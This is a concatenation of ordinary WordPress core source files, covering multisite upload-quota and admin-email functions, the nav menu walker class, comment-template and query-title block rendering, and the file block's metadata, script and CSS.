	 */
	$space_used = apply_filters( 'pre_get_space_used', false );

	if ( false === $space_used ) {
		$upload_dir = wp_upload_dir();
		$space_used = get_dirsize( $upload_dir['basedir'] ) / MB_IN_BYTES;
	}

	return $space_used;
}

/**
 * Returns the upload quota for the current blog.
 *
 * @since MU (3.0.0)
 *
 * @return int Quota in megabytes.
 */
function get_space_allowed() {
	$space_allowed = get_option( 'blog_upload_space' );

	if ( ! is_numeric( $space_allowed ) ) {
		$space_allowed = get_site_option( 'blog_upload_space' );
	}

	if ( ! is_numeric( $space_allowed ) ) {
		$space_allowed = 100;
	}

	/**
	 * Filters the upload quota for the current site.
	 *
	 * @since 3.7.0
	 *
	 * @param int $space_allowed Upload quota in megabytes for the current blog.
	 */
	return apply_filters( 'get_space_allowed', $space_allowed );
}

/**
 * Determines if there is any upload space left in the current blog's quota.
 *
 * @since 3.0.0
 *
 * @return int of upload space available in bytes.
 */
function get_upload_space_available() {
	$allowed = get_space_allowed();
	if ( $allowed < 0 ) {
		$allowed = 0;
	}
	$space_allowed = $allowed * MB_IN_BYTES;
	if ( get_site_option( 'upload_space_check_disabled' ) ) {
		return $space_allowed;
	}

	$space_used = get_space_used() * MB_IN_BYTES;

	if ( ( $space_allowed - $space_used ) <= 0 ) {
		return 0;
	}

	return $space_allowed - $space_used;
}

/**
 * Determines if there is any upload space left in the current blog's quota.
 *
 * @since 3.0.0
 * @return bool True if space is available, false otherwise.
 */
function is_upload_space_available() {
	if ( get_site_option( 'upload_space_check_disabled' ) ) {
		return true;
	}

	return (bool) get_upload_space_available();
}

/**
 * Filters the maximum upload file size allowed, in bytes.
 *
 * @since 3.0.0
 *
 * @param int $size Upload size limit in bytes.
 * @return int Upload size limit in bytes.
 */
function upload_size_limit_filter( $size ) {
	$fileupload_maxk         = (int) get_site_option( 'fileupload_maxk', 1500 );
	$max_fileupload_in_bytes = KB_IN_BYTES * $fileupload_maxk;

	if ( get_site_option( 'upload_space_check_disabled' ) ) {
		return min( $size, $max_fileupload_in_bytes );
	}

	return min( $size, $max_fileupload_in_bytes, get_upload_space_available() );
}

/**
 * Determines whether or not we have a large network.
 *
 * The default criteria for a large network is either more than 10,000 users or more than 10,000 sites.
 * Plugins can alter this criteria using the {@see 'wp_is_large_network'} filter.
 *
 * @since 3.3.0
 * @since 4.8.0 The `$network_id` parameter has been added.
 *
 * @param string   $using      'sites' or 'users'. Default is 'sites'.
 * @param int|null $network_id ID of the network. Default is the current network.
 * @return bool True if the network meets the criteria for large. False otherwise.
 */
function wp_is_large_network( $using = 'sites', $network_id = null ) {
	$network_id = (int) $network_id;
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	if ( 'users' === $using ) {
		$count = get_user_count( $network_id );

		$is_large_network = wp_is_large_user_count( $network_id );

		/**
		 * Filters whether the network is considered large.
		 *
		 * @since 3.3.0
		 * @since 4.8.0 The `$network_id` parameter has been added.
		 *
		 * @param bool   $is_large_network Whether the network has more than 10000 users or sites.
		 * @param string $component        The component to count. Accepts 'users', or 'sites'.
		 * @param int    $count            The count of items for the component.
		 * @param int    $network_id       The ID of the network being checked.
		 */
		return apply_filters( 'wp_is_large_network', $is_large_network, 'users', $count, $network_id );
	}

	$count = get_blog_count( $network_id );

	/** This filter is documented in wp-includes/ms-functions.php */
	return apply_filters( 'wp_is_large_network', $count > 10000, 'sites', $count, $network_id );
}

/**
 * Retrieves a list of reserved site on a sub-directory Multisite installation.
 *
 * @since 4.4.0
 *
 * @return string[] Array of reserved names.
 */
function get_subdirectory_reserved_names() {
	$names = array(
		'page',
		'comments',
		'blog',
		'files',
		'feed',
		'wp-admin',
		'wp-content',
		'wp-includes',
		'wp-json',
		'embed',
	);

	/**
	 * Filters reserved site names on a sub-directory Multisite installation.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 'wp-admin', 'wp-content', 'wp-includes', 'wp-json', and 'embed' were added
	 *              to the reserved names list.
	 *
	 * @param string[] $subdirectory_reserved_names Array of reserved names.
	 */
	return apply_filters( 'subdirectory_reserved_names', $names );
}

/**
 * Sends a confirmation request email when a change of network admin email address is attempted.
 *
 * The new network admin address will not become active until confirmed.
 *
 * @since 4.9.0
 *
 * @param string $old_value The old network admin email address.
 * @param string $value     The proposed new network admin email address.
 */
function update_network_option_new_admin_email( $old_value, $value ) {
	if ( get_site_option( 'admin_email' ) === $value || ! is_email( $value ) ) {
		return;
	}

	$hash            = md5( $value . time() . mt_rand() );
	$new_admin_email = array(
		'hash'     => $hash,
		'newemail' => $value,
	);
	update_site_option( 'network_admin_hash', $new_admin_email );

	$switched_locale = switch_to_user_locale( get_current_user_id() );

	/* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */
	$email_text = __(
		'Howdy ###USERNAME###,

You recently requested to have the network admin email address on
your network changed.

If this is correct, please click on the following link to change it:
###ADMIN_URL###

You can safely ignore and delete this email if you do not want to
take this action.

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	/**
	 * Filters the text of the email sent when a change of network admin email address is attempted.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 * ###USERNAME###  The current user's username.
	 * ###ADMIN_URL### The link to click on to confirm the email change.
	 * ###EMAIL###     The proposed new network admin email address.
	 * ###SITENAME###  The name of the network.
	 * ###SITEURL###   The URL to the network.
	 *
	 * @since 4.9.0
	 *
	 * @param string $email_text      Text in the email.
	 * @param array  $new_admin_email {
	 *     Data relating to the new network admin email address.
	 *
	 *     @type string $hash     The secure hash used in the confirmation link URL.
	 *     @type string $newemail The proposed new network admin email address.
	 * }
	 */
	$content = apply_filters( 'new_network_admin_email_content', $email_text, $new_admin_email );

	$current_user = wp_get_current_user();
	$content      = str_replace( '###USERNAME###', $current_user->user_login, $content );
	$content      = str_replace( '###ADMIN_URL###', esc_url( network_admin_url( 'settings.php?network_admin_hash=' . $hash ) ), $content );
	$content      = str_replace( '###EMAIL###', $value, $content );
	$content      = str_replace( '###SITENAME###', wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ), $content );
	$content      = str_replace( '###SITEURL###', network_home_url(), $content );

	wp_mail(
		$value,
		sprintf(
			/* translators: Email change notification email subject. %s: Network title. */
			__( '[%s] Network Admin Email Change Request' ),
			wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES )
		),
		$content
	);

	if ( $switched_locale ) {
		restore_previous_locale();
	}
}

/**
 * Sends an email to the old network admin email address when the network admin email address changes.
 *
 * @since 4.9.0
 *
 * @param string $option_name The relevant database option name.
 * @param string $new_email   The new network admin email address.
 * @param string $old_email   The old network admin email address.
 * @param int    $network_id  ID of the network.
 */
function wp_network_admin_email_change_notification( $option_name, $new_email, $old_email, $network_id ) {
	$send = true;

	// Don't send the notification to the default 'admin_email' value.
	if ( 'you@example.com' === $old_email ) {
		$send = false;
	}

	/**
	 * Filters whether to send the network admin email change notification email.
	 *
	 * @since 4.9.0
	 *
	 * @param bool   $send       Whether to send the email notification.
	 * @param string $old_email  The old network admin email address.
	 * @param string $new_email  The new network admin email address.
	 * @param int    $network_id ID of the network.
	 */
	$send = apply_filters( 'send_network_admin_email_change_email', $send, $old_email, $new_email, $network_id );

	if ( ! $send ) {
		return;
	}

	/* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */
	$email_change_text = __(
		'Hi,

This notice confirms that the network admin email address was changed on ###SITENAME###.

The new network admin email address is ###NEW_EMAIL###.

This email has been sent to ###OLD_EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	$email_change_email = array(
		'to'      => $old_email,
		/* translators: Network admin email change notification email subject. %s: Network title. */
		'subject' => __( '[%s] Network Admin Email Changed' ),
		'message' => $email_change_text,
		'headers' => '',
	);
	// Get network name.
	$network_name = wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES );

	/**
	 * Filters the contents of the email notification sent when the network admin email address is changed.
	 *
	 * @since 4.9.0
	 *
	 * @param array $email_change_email {
	 *     Used to build wp_mail().
	 *
	 *     @type string $to      The intended recipient.
	 *     @type string $subject The subject of the email.
	 *     @type string $message The content of the email.
	 *         The following strings have a special meaning and will get replaced dynamically:
	 *         - ###OLD_EMAIL### The old network admin email address.
	 *         - ###NEW_EMAIL### The new network admin email address.
	 *         - ###SITENAME###  The name of the network.
	 *         - ###SITEURL###   The URL to the site.
	 *     @type string $headers Headers.
	 * }
	 * @param string $old_email  The old network admin email address.
	 * @param string $new_email  The new network admin email address.
	 * @param int    $network_id ID of the network.
	 */
	$email_change_email = apply_filters( 'network_admin_email_change_email', $email_change_email, $old_email, $new_email, $network_id );

	$email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] );
	$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] );
	$email_change_email['message'] = str_replace( '###SITENAME###', $network_name, $email_change_email['message'] );
	$email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );

	wp_mail(
		$email_change_email['to'],
		sprintf(
			$email_change_email['subject'],
			$network_name
		),
		$email_change_email['message'],
		$email_change_email['headers']
	);
}
<?php
/**
 * Nav Menu API: Walker_Nav_Menu class
 *
 * @package WordPress
 * @subpackage Nav_Menus
 * @since 4.6.0
 */

/**
 * Core class used to implement an HTML list of nav menu items.
 *
 * @since 3.0.0
 *
 * @see Walker
 */
class Walker_Nav_Menu extends Walker {
	/**
	 * What the class handles.
	 *
	 * @since 3.0.0
	 * @var string
	 *
	 * @see Walker::$tree_type
	 */
	public $tree_type = array( 'post_type', 'taxonomy', 'custom' );

	/**
	 * Database fields to use.
	 *
	 * @since 3.0.0
	 * @todo Decouple this.
	 * @var string[]
	 *
	 * @see Walker::$db_fields
	 */
	public $db_fields = array(
		'parent' => 'menu_item_parent',
		'id'     => 'db_id',
	);

	/**
	 * Starts the list before the elements are added.
	 *
	 * @since 3.0.0
	 *
	 * @see Walker::start_lvl()
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   An object of wp_nav_menu() arguments.
	 */
	public function start_lvl( &$output, $depth = 0, $args = null ) {
		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$indent = str_repeat( $t, $depth );

		// Default class.
		$classes = array( 'sub-menu' );

		/**
		 * Filters the CSS class(es) applied to a menu list element.
		 *
		 * @since 4.8.0
		 *
		 * @param string[] $classes Array of the CSS classes that are applied to the menu `<ul>` element.
		 * @param stdClass $args    An object of `wp_nav_menu()` arguments.
		 * @param int      $depth   Depth of menu item. Used for padding.
		 */
		$class_names = implode( ' ', apply_filters( 'nav_menu_submenu_css_class', $classes, $args, $depth ) );

		$atts          = array();
		$atts['class'] = ! empty( $class_names ) ? $class_names : '';

		/**
		 * Filters the HTML attributes applied to a menu list element.
		 *
		 * @since 6.3.0
		 *
		 * @param array $atts {
		 *     The HTML attributes applied to the `<ul>` element, empty strings are ignored.
		 *
		 *     @type string $class    HTML CSS class attribute.
		 * }
		 * @param stdClass $args      An object of `wp_nav_menu()` arguments.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$atts       = apply_filters( 'nav_menu_submenu_attributes', $atts, $args, $depth );
		$attributes = $this->build_atts( $atts );

		$output .= "{$n}{$indent}<ul{$attributes}>{$n}";
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @since 3.0.0
	 *
	 * @see Walker::end_lvl()
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   An object of wp_nav_menu() arguments.
	 */
	public function end_lvl( &$output, $depth = 0, $args = null ) {
		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$indent  = str_repeat( $t, $depth );
		$output .= "$indent</ul>{$n}";
	}

	/**
	 * Starts the element output.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 The {@see 'nav_menu_item_args'} filter was added.
	 * @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::start_el()
	 *
	 * @param string   $output            Used to append additional content (passed by reference).
	 * @param WP_Post  $data_object       Menu item data object.
	 * @param int      $depth             Depth of menu item. Used for padding.
	 * @param stdClass $args              An object of wp_nav_menu() arguments.
	 * @param int      $current_object_id Optional. ID of the current menu item. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) {
		// Restores the more descriptive, specific name for use within this method.
		$menu_item = $data_object;

		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$indent = ( $depth ) ? str_repeat( $t, $depth ) : '';

		$classes   = empty( $menu_item->classes ) ? array() : (array) $menu_item->classes;
		$classes[] = 'menu-item-' . $menu_item->ID;

		/**
		 * Filters the arguments for a single nav menu item.
		 *
		 * @since 4.4.0
		 *
		 * @param stdClass $args      An object of wp_nav_menu() arguments.
		 * @param WP_Post  $menu_item Menu item data object.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$args = apply_filters( 'nav_menu_item_args', $args, $menu_item, $depth );

		/**
		 * Filters the CSS classes applied to a menu item's list item element.
		 *
		 * @since 3.0.0
		 * @since 4.1.0 The `$depth` parameter was added.
		 *
		 * @param string[] $classes   Array of the CSS classes that are applied to the menu item's `<li>` element.
		 * @param WP_Post  $menu_item The current menu item object.
		 * @param stdClass $args      An object of wp_nav_menu() arguments.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$class_names = implode( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $menu_item, $args, $depth ) );

		/**
		 * Filters the ID attribute applied to a menu item's list item element.
		 *
		 * @since 3.0.1
		 * @since 4.1.0 The `$depth` parameter was added.
		 *
		 * @param string   $menu_item_id The ID attribute applied to the menu item's `<li>` element.
		 * @param WP_Post  $menu_item    The current menu item.
		 * @param stdClass $args         An object of wp_nav_menu() arguments.
		 * @param int      $depth        Depth of menu item. Used for padding.
		 */
		$id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $menu_item->ID, $menu_item, $args, $depth );

		$li_atts          = array();
		$li_atts['id']    = ! empty( $id ) ? $id : '';
		$li_atts['class'] = ! empty( $class_names ) ? $class_names : '';

		/**
		 * Filters the HTML attributes applied to a menu's list item element.
		 *
		 * @since 6.3.0
		 *
		 * @param array $li_atts {
		 *     The HTML attributes applied to the menu item's `<li>` element, empty strings are ignored.
		 *
		 *     @type string $class        HTML CSS class attribute.
		 *     @type string $id           HTML id attribute.
		 * }
		 * @param WP_Post  $menu_item The current menu item object.
		 * @param stdClass $args      An object of wp_nav_menu() arguments.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$li_atts       = apply_filters( 'nav_menu_item_attributes', $li_atts, $menu_item, $args, $depth );
		$li_attributes = $this->build_atts( $li_atts );

		$output .= $indent . '<li' . $li_attributes . '>';

		$atts           = array();
		$atts['title']  = ! empty( $menu_item->attr_title ) ? $menu_item->attr_title : '';
		$atts['target'] = ! empty( $menu_item->target ) ? $menu_item->target : '';
		if ( '_blank' === $menu_item->target && empty( $menu_item->xfn ) ) {
			$atts['rel'] = 'noopener';
		} else {
			$atts['rel'] = $menu_item->xfn;
		}

		if ( ! empty( $menu_item->url ) ) {
			if ( get_privacy_policy_url() === $menu_item->url ) {
				$atts['rel'] = empty( $atts['rel'] ) ? 'privacy-policy' : $atts['rel'] . ' privacy-policy';
			}

			$atts['href'] = $menu_item->url;
		} else {
			$atts['href'] = '';
		}

		$atts['aria-current'] = $menu_item->current ? 'page' : '';

		/**
		 * Filters the HTML attributes applied to a menu item's anchor element.
		 *
		 * @since 3.6.0
		 * @since 4.1.0 The `$depth` parameter was added.
		 *
		 * @param array $atts {
		 *     The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored.
		 *
		 *     @type string $title        Title attribute.
		 *     @type string $target       Target attribute.
		 *     @type string $rel          The rel attribute.
		 *     @type string $href         The href attribute.
		 *     @type string $aria-current The aria-current attribute.
		 * }
		 * @param WP_Post  $menu_item The current menu item object.
		 * @param stdClass $args      An object of wp_nav_menu() arguments.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$atts       = apply_filters( 'nav_menu_link_attributes', $atts, $menu_item, $args, $depth );
		$attributes = $this->build_atts( $atts );

		/** This filter is documented in wp-includes/post-template.php */
		$title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID );

		/**
		 * Filters a menu item's title.
		 *
		 * @since 4.4.0
		 *
		 * @param string   $title     The menu item's title.
		 * @param WP_Post  $menu_item The current menu item object.
		 * @param stdClass $args      An object of wp_nav_menu() arguments.
		 * @param int      $depth     Depth of menu item. Used for padding.
		 */
		$title = apply_filters( 'nav_menu_item_title', $title, $menu_item, $args, $depth );

		$item_output  = $args->before;
		$item_output .= '<a' . $attributes . '>';
		$item_output .= $args->link_before . $title . $args->link_after;
		$item_output .= '</a>';
		$item_output .= $args->after;

		/**
		 * Filters a menu item's starting output.
		 *
		 * The menu item's starting output only includes `$args->before`, the opening `<a>`,
		 * the menu item's title, the closing `</a>`, and `$args->after`. Currently, there is
		 * no filter for modifying the opening and closing `<li>` for a menu item.
		 *
		 * @since 3.0.0
		 *
		 * @param string   $item_output The menu item's starting HTML output.
		 * @param WP_Post  $menu_item   Menu item data object.
		 * @param int      $depth       Depth of menu item. Used for padding.
		 * @param stdClass $args        An object of wp_nav_menu() arguments.
		 */
		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $menu_item, $depth, $args );
	}

	/**
	 * Ends the element output, if needed.
	 *
	 * @since 3.0.0
	 * @since 5.9.0 Renamed `$item` to `$data_object` to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::end_el()
	 *
	 * @param string   $output      Used to append additional content (passed by reference).
	 * @param WP_Post  $data_object Menu item data object. Not used.
	 * @param int      $depth       Depth of page. Not Used.
	 * @param stdClass $args        An object of wp_nav_menu() arguments.
	 */
	public function end_el( &$output, $data_object, $depth = 0, $args = null ) {
		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$output .= "</li>{$n}";
	}

	/**
	 * Builds a string of HTML attributes from an array of key/value pairs.
	 * Empty values are ignored.
	 *
	 * @since 6.3.0
	 *
	 * @param  array $atts Optional. An array of HTML attribute key/value pairs. Default empty array.
	 * @return string A string of HTML attributes.
	 */
	protected function build_atts( $atts = array() ) {
		$attribute_string = '';
		foreach ( $atts as $attr => $value ) {
			if ( false !== $value && '' !== $value && is_scalar( $value ) ) {
				$value             = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
				$attribute_string .= ' ' . $attr . '="' . $value . '"';
			}
		}
		return $attribute_string;
	}
}
<?php
/**
 * Server-side rendering of the `core/comment-template` block.
 *
 * @package WordPress
 */

/**
 * Function that recursively renders a list of nested comments.
 *
 * @since 6.3.0 Changed render_block_context priority to `1`.
 *
 * @global int $comment_depth
 *
 * @param WP_Comment[] $comments        The array of comments.
 * @param WP_Block     $block           Block instance.
 * @return string
 */
function block_core_comment_template_render_comments( $comments, $block ) {
	global $comment_depth;
	$thread_comments       = get_option( 'thread_comments' );
	$thread_comments_depth = get_option( 'thread_comments_depth' );

	if ( empty( $comment_depth ) ) {
		$comment_depth = 1;
	}

	$content = '';
	foreach ( $comments as $comment ) {
		$comment_id           = $comment->comment_ID;
		$filter_block_context = static function ( $context ) use ( $comment_id ) {
			$context['commentId'] = $comment_id;
			return $context;
		};

		/*
		 * We set commentId context through the `render_block_context` filter so
		 * that dynamically inserted blocks (at `render_block` filter stage)
		 * will also receive that context.
		 *
		 * Use an early priority to so that other 'render_block_context' filters
		 * have access to the values.
		 */
		add_filter( 'render_block_context', $filter_block_context, 1 );

		/*
		 * We construct a new WP_Block instance from the parsed block so that
		 * it'll receive any changes made by the `render_block_data` filter.
		 */
		$block_content = ( new WP_Block( $block->parsed_block ) )->render( array( 'dynamic' => false ) );

		remove_filter( 'render_block_context', $filter_block_context, 1 );

		$children = $comment->get_children();

		/*
		 * We need to create the CSS classes BEFORE recursing into the children.
		 * This is because comment_class() uses globals like `$comment_alt`
		 * and `$comment_thread_alt` which are order-sensitive.
		 *
		 * The `false` parameter at the end means that we do NOT want the function
		 * to `echo` the output but to return a string.
		 * See https://developer.wordpress.org/reference/functions/comment_class/#parameters.
		 */
		$comment_classes = comment_class( '', $comment->comment_ID, $comment->comment_post_ID, false );

		// If the comment has children, recurse to create the HTML for the nested
		// comments.
		if ( ! empty( $children ) && ! empty( $thread_comments ) ) {
			if ( $comment_depth < $thread_comments_depth ) {
				++$comment_depth;
				$inner_content  = block_core_comment_template_render_comments(
					$children,
					$block
				);
				$block_content .= sprintf( '<ol>%1$s</ol>', $inner_content );
				--$comment_depth;
			} else {
				$block_content .= block_core_comment_template_render_comments(
					$children,
					$block
				);
			}
		}

		$content .= sprintf( '<li id="comment-%1$s" %2$s>%3$s</li>', $comment->comment_ID, $comment_classes, $block_content );
	}

	return $content;
}

/**
 * Renders the `core/comment-template` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the HTML representing the comments using the layout
 * defined by the block's inner blocks.
 */
function render_block_core_comment_template( $attributes, $content, $block ) {
	// Bail out early if the post ID is not set for some reason.
	if ( empty( $block->context['postId'] ) ) {
		return '';
	}

	if ( post_password_required( $block->context['postId'] ) ) {
		return;
	}

	$comment_query = new WP_Comment_Query(
		build_comment_query_vars_from_block( $block )
	);

	// Get an array of comments for the current post.
	$comments = $comment_query->get_comments();
	if ( count( $comments ) === 0 ) {
		return '';
	}

	$comment_order = get_option( 'comment_order' );

	if ( 'desc' === $comment_order ) {
		$comments = array_reverse( $comments );
	}

	$wrapper_attributes = get_block_wrapper_attributes();

	return sprintf(
		'<ol %1$s>%2$s</ol>',
		$wrapper_attributes,
		block_core_comment_template_render_comments( $comments, $block )
	);
}

/**
 * Registers the `core/comment-template` block on the server.
 */
function register_block_core_comment_template() {
	register_block_type_from_metadata(
		__DIR__ . '/comment-template',
		array(
			'render_callback'   => 'render_block_core_comment_template',
			'skip_inner_blocks' => true,
		)
	);
}
add_action( 'init', 'register_block_core_comment_template' );
<?php
/**
 * Server-side rendering of the `core/query-title` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/query-title` block on the server.
 * For now it only supports Archive title,
 * using queried object information
 *
 * @param array $attributes Block attributes.
 *
 * @return string Returns the query title based on the queried object.
 */
function render_block_core_query_title( $attributes ) {
	$type       = isset( $attributes['type'] ) ? $attributes['type'] : null;
	$is_archive = is_archive();
	$is_search  = is_search();
	if ( ! $type ||
		( 'archive' === $type && ! $is_archive ) ||
		( 'search' === $type && ! $is_search )
		) {
		return '';
	}
	$title = '';
	if ( $is_archive ) {
		$show_prefix = isset( $attributes['showPrefix'] ) ? $attributes['showPrefix'] : true;
		if ( ! $show_prefix ) {
			add_filter( 'get_the_archive_title_prefix', '__return_empty_string', 1 );
			$title = get_the_archive_title();
			remove_filter( 'get_the_archive_title_prefix', '__return_empty_string', 1 );
		} else {
			$title = get_the_archive_title();
		}
	}
	if ( $is_search ) {
		$title = __( 'Search results' );

		if ( isset( $attributes['showSearchTerm'] ) && $attributes['showSearchTerm'] ) {
			$title = sprintf(
				/* translators: %s is the search term. */
				__( 'Search results for: "%s"' ),
				get_search_query()
			);
		}
	}

	$tag_name           = isset( $attributes['level'] ) ? 'h' . (int) $attributes['level'] : 'h1';
	$align_class_name   = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}";
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) );
	return sprintf(
		'<%1$s %2$s>%3$s</%1$s>',
		$tag_name,
		$wrapper_attributes,
		$title
	);
}

/**
 * Registers the `core/query-title` block on the server.
 */
function register_block_core_query_title() {
	register_block_type_from_metadata(
		__DIR__ . '/query-title',
		array(
			'render_callback' => 'render_block_core_query_title',
		)
	);
}
add_action( 'init', 'register_block_core_query_title' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/file",
	"title": "File",
	"category": "media",
	"description": "Add a link to a downloadable file.",
	"keywords": [ "document", "pdf", "download" ],
	"textdomain": "default",
	"attributes": {
		"id": {
			"type": "number"
		},
		"href": {
			"type": "string"
		},
		"fileId": {
			"type": "string",
			"source": "attribute",
			"selector": "a:not([download])",
			"attribute": "id"
		},
		"fileName": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "a:not([download])"
		},
		"textLinkHref": {
			"type": "string",
			"source": "attribute",
			"selector": "a:not([download])",
			"attribute": "href"
		},
		"textLinkTarget": {
			"type": "string",
			"source": "attribute",
			"selector": "a:not([download])",
			"attribute": "target"
		},
		"showDownloadButton": {
			"type": "boolean",
			"default": true
		},
		"downloadButtonText": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "a[download]"
		},
		"displayPreview": {
			"type": "boolean"
		},
		"previewHeight": {
			"type": "number",
			"default": 600
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"color": {
			"gradients": true,
			"link": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true,
				"link": true
			}
		},
		"interactivity": true
	},
	"editorStyle": "wp-block-file-editor",
	"style": "wp-block-file"
}
import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};

;// CONCATENATED MODULE: external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) });
;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/file/utils/index.js
/**
 * Uses a combination of user agent matching and feature detection to determine whether
 * the current browser supports rendering PDFs inline.
 *
 * @return {boolean} Whether or not the browser supports inline PDFs.
 */
const browserSupportsPdfs = () => {
  // Most mobile devices include "Mobi" in their UA.
  if (window.navigator.userAgent.indexOf('Mobi') > -1) {
    return false;
  }

  // Android tablets are the noteable exception.
  if (window.navigator.userAgent.indexOf('Android') > -1) {
    return false;
  }

  // iPad pretends to be a Mac.
  if (window.navigator.userAgent.indexOf('Macintosh') > -1 && window.navigator.maxTouchPoints && window.navigator.maxTouchPoints > 2) {
    return false;
  }

  // IE only supports PDFs when there's an ActiveX object available for it.
  if (!!(window.ActiveXObject || 'ActiveXObject' in window) && !(createActiveXObject('AcroPDF.PDF') || createActiveXObject('PDF.PdfCtrl'))) {
    return false;
  }
  return true;
};

/**
 * Helper function for creating ActiveX objects, catching any errors that are thrown
 * when it's generated.
 *
 * @param {string} type The name of the ActiveX object to create.
 * @return {window.ActiveXObject|undefined} The generated ActiveXObject, or null if it failed.
 */
const createActiveXObject = type => {
  let ax;
  try {
    ax = new window.ActiveXObject(type);
  } catch (e) {
    ax = undefined;
  }
  return ax;
};

;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/file/view.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */

(0,interactivity_namespaceObject.store)('core/file', {
  state: {
    get hasPdfPreview() {
      return browserSupportsPdfs();
    }
  }
}, {
  lock: true
});

.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-left:.75em}.wp-block-file{
  align-items:center;
  display:flex;
  flex-wrap:wrap;
  justify-content:space-between;
  margin-bottom:0;
}
.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{
  height:auto;
}
.wp-block-file .components-resizable-box__container{
  margin-bottom:1em;
}
.wp-block-file .wp-block-file__preview{
  height:100%;
  margin-bottom:1em;
  width:100%;
}
.wp-block-file .wp-block-file__preview-overlay{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-file .wp-block-file__content-wrapper{
  flex-grow:1;
}
.wp-block-file a{
  min-width:1em;
}
.wp-block-file a:not(.wp-block-file__button){
  display:inline-block;
}
